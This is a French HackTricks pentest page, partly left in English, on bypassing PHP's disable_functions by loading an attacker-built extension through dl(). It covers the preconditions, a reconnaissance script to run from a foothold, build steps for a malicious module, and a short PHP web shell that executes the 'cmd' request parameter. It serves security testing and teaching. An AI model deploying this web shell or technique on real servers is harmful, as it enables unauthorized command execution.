Bypass de disable_functions - fonction dl

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

dl() permet à PHP de charger une extension partagée à l’exécution. Si vous pouvez la faire charger un module contrôlé par un attaquant, vous pouvez enregistrer une nouvelle fonction PHP qui appelle en interne execve, system, ou toute autre primitive native et ainsi contourner disable_functions.

Ceci est une primitive réelle, mais sur les cibles modernes elle est bien moins courante que ne le suggèrent d’anciens writeups.

Pourquoi ce bypass est peu courant aujourd’hui

Les principaux obstacles sont :

  • dl() doit exister et ne doit pas être désactivée
  • enable_dl doit encore permettre le chargement dynamique
  • Le SAPI cible doit supporter dl()
  • Le payload doit être une extension PHP valide compilée pour la même ABI cible
  • L’extension doit être accessible depuis le extension_dir configuré

Le manuel officiel de PHP est le contrôle de réalité le plus important ici : dl() n’est disponible que pour les CLI et embed SAPIs, et pour le SAPI CGI lorsqu’il est exécuté depuis la ligne de commande. Cela signifie que la technique n’est généralement pas disponible dans des requêtes web normales PHP-FPM/mod_php, donc vérifiez le SAPI avant de passer du temps à construire un payload.

Notez aussi que enable_dl est un réglage INI_SYSTEM et, depuis PHP 8.3.0, PHP le documente comme déprécié, donc vous ne pouvez généralement pas le modifier à l’exécution depuis du code PHP contrôlé par un attaquant.

Si dl() n’est pas viable, revenez à la liste plus large des contournements dépendants du module/version.

Triage rapide depuis un foothold

Avant de construire quoi que ce soit, rassemblez les paramètres exacts que le module doit respecter :

<?php
phpinfo();
echo "PHP_VERSION=" . PHP_VERSION . PHP_EOL;
echo "PHP_SAPI=" . php_sapi_name() . PHP_EOL;
echo "ZTS=" . (PHP_ZTS ? "yes" : "no") . PHP_EOL;
echo "INT_BITS=" . (PHP_INT_SIZE * 8) . PHP_EOL;
echo "enable_dl=" . ini_get("enable_dl") . PHP_EOL;
echo "extension_dir=" . ini_get("extension_dir") . PHP_EOL;
echo "disabled=" . ini_get("disable_functions") . PHP_EOL;
?>

What you care about:

  • PHP_SAPI: if this is fpm-fcgi or apache2handler, dl() is usually a dead end for web exploitation
  • extension_dir: the payload must be loaded from here
  • PHP Version, architecture, debug/non-debug, and ZTS/non-ZTS: your module must match them
  • disable_functions: confirm whether dl is absent because it is disabled or because the SAPI does not support it

Contraintes pratiques d’exploitation

1. Vous avez normalement besoin d’un accès en écriture à extension_dir

C’est le principal goulot d’étranglement.

dl() prend le nom de fichier de l’extension, et PHP le charge depuis extension_dir. En pratique, cela signifie qu’un simple upload de fichier arbitraire vers /var/www/html/uploads ne suffit pas. Vous avez toujours besoin d’un chemin pour placer un .so/.dll là où PHP charge effectivement les extensions.

Situations réalistes où cela devient exploitable :

  • CTFs or intentionally weak labs where extension_dir is writable
  • Erreurs d’hébergement mutualisé ou de conteneurs qui exposent un chemin d’extension accessible en écriture
  • Un vecteur distinct d’écriture de fichier arbitraire qui atteint déjà extension_dir
  • Scénarios post-exploitation où vous avez déjà escaladé suffisamment pour déposer des fichiers là-bas

2. Le module doit correspondre à la build cible

Ne correspondre qu’à PHP_VERSION n’est pas suffisant. L’extension doit aussi correspondre à :

  • Système d’exploitation et architecture CPU
  • attentes de libc/toolchain
  • ZEND_MODULE_API_NO
  • build debug vs non-debug
  • ZTS vs NTS

Si ceux-ci ne correspondent pas, dl() échouera ou fera planter le processus.

3. open_basedir n’est pas la principale défense ici

Une fois que vous pouvez placer le module dans extension_dir et appeler dl(), le code de l’extension s’exécute dans le processus PHP. À ce stade, la barrière pertinente n’était pas open_basedir, mais la capacité à déposer un shared object valide (.so/.dll) dans le chemin de chargement des extensions.

Construction de l’extension malveillante

La méthode classique reste valide :

  1. Recréez la build de la cible aussi fidèlement que possible
  2. Utilisez phpize, ./configure, et make pour compiler une extension partagée
  3. Exportez une fonction PHP telle que bypass_exec($cmd) qui encapsule l’exécution de commandes natives
  4. Téléversez le module compilé dans extension_dir
  5. Chargez-le avec dl() et appelez la fonction exportée

L’attaque est ancienne, mais toujours pertinente car les changelogs de PHP 8.x continuent d’inclure des correctifs de crash spécifiques à dl(). Le mécanisme existe toujours ; la difficulté est de trouver un déploiement où il est accessible et où vous pouvez déposer un module correspondant.

Workflow minimal

On the attacker box

mkdir bypass && cd bypass
phpize
./configure
make

Le fichier objet partagé résultant se trouvera généralement dans modules/.

Si vous compilez dans un environnement différent de la cible, considérez le fichier produit comme une ébauche jusqu’à ce que vous vérifiiez que l’ABI correspond à celle de la victime.

Chargement et utilisation de l’extension

Si la cible prend réellement en charge dl() et que le module se trouve dans extension_dir, la partie runtime est simple :

<?php
if (!extension_loaded('bypass')) {
dl('bypass.so'); // use the correct filename for the target platform
}
echo bypass_exec($_GET['cmd']);
?>

Sur Windows le nom de fichier sera typiquement une .dll, tandis que sur les targets Unix-like ce sera généralement une .so.

Notes de l’attaquant

  • Ne supposez pas que cela fonctionne à distance simplement parce que function_exists("dl") renvoie true dans une documentation ou un ancien writeup ; validez le SAPI actif
  • Une tentative dl() échouée peut tuer le worker PHP si le module est incompatible
  • À partir de PHP 8, les fonctions désactivées sont retirées de la table des fonctions, donc l’énumération userland peut différer des anciens posts
  • Si vous ne pouvez pas écrire dans extension_dir, cette technique est généralement moins pratique que FPM/FastCGI, LD_PRELOAD, ou les contournements spécifiques aux modules déjà couverts dans cette section

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks